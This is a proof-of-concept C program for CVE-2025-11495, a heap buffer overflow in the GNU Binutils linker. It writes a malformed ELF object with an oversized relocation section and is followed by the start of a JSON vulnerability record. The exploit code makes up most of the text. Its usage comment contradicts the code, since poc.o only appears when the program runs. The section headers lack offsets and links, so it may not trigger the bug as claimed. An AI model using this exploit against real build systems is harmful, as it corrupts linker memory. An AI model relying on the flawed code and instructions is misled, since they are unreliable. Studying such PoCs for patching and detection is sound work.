CVE-2025-11495

/* CVE-2025-11495 PoC - GNU Binutils elf_x86_64_relocate_section Heap Buffer Overflow * This PoC demonstrates the vulnerability by creating a malformed ELF64 x86-64 * object file with an oversized relocation section to trigger heap buffer overflow * in the linker when processing elf_x86_64_relocate_section(). * * Usage: gcc -c poc.c -o poc.o && ld poc.o -o poc_exploit */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <elf.h> #include <fcntl.h> #include <unistd.h> #define ELF_MAGIC 0x464C457FU /* \x7fELF */ int main(int argc, char *argv[]) { /* Create a minimal ELF64 x86-64 relocatable object file */ Elf64_Ehdr ehdr; Elf64_Shdr shdr; memset(&ehdr, 0, sizeof(ehdr)); ehdr.e_ident[0] = 0x7f; ehdr.e_ident[1] = 'E'; ehdr.e_ident[2] = 'L'; ehdr.e_ident[3] = 'F'; ehdr.e_ident[4] = ELFCLASS64; ehdr.e_ident[5] = ELFDATA2LSB; ehdr.e_ident[6] = EV_CURRENT; ehdr.e_type = ET_REL; /* Relocatable file */ ehdr.e_machine = EM_X86_64; ehdr.e_version = EV_CURRENT; ehdr.e_shoff = sizeof(Elf64_Ehdr); ehdr.e_ehsize = sizeof(Elf64_Ehdr); ehdr.e_shentsize = sizeof(Elf64_Shdr); ehdr.e_shnum = 3; /* NULL section + .text + .rela.text */ ehdr.e_shstrndx = 0; /* Create section headers with malformed relocation section */ /* The .rela.text section will have sh_size larger than actual data, triggering heap buffer overflow in elf_x86_64_relocate_section() */ int fd = open("poc.o", O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } write(fd, &ehdr, sizeof(ehdr)); /* NULL section header */ memset(&shdr, 0, sizeof(shdr)); write(fd, &shdr, sizeof(shdr)); /* .text section header */ memset(&shdr, 0, sizeof(shdr)); shdr.sh_type = SHT_PROGBITS; shdr.sh_flags = SHF_ALLOC | SHF_EXECINSTR; shdr.sh_size = 16; write(fd, &shdr, sizeof(shdr)); /* .rela.text section header with intentionally oversized sh_size */ memset(&shdr, 0, sizeof(shdr)); shdr.sh_type = SHT_RELA; shdr.sh_size = 0xFFFF; /* Oversized to trigger buffer overflow */ shdr.sh_entsize = sizeof(Elf64_Rela); write(fd, &shdr, sizeof(shdr)); /* Write minimal .text content */ char text_data[16] = {0x90, 0x90, 0x90, 0x90, 0xc3}; write(fd, text_data, 16); close(fd); printf("PoC file 'poc.o' created. Run: ld poc.o -o exploit\n"); printf("This will trigger heap buffer overflow in elf_x86_64_relocate_section()\n"); return 0; }

{"cve": {"id": "CVE-2025-11495", "sourceIdentifier": "[email protected]", "published": "2025-10-08T20:15:34.990", "lastModified": "2026-05-12T13:16:29.210", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in GNU Binutils 2.45. The affected element is the function elf_x86_64_relocate_section of the file elf64-x86-64.c of the component Linker. This manipulation causes heap-based buffer overflow. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Patch name: 6b21c8b2ecfef5c95142cbc2c32f185cb1c26ab0. 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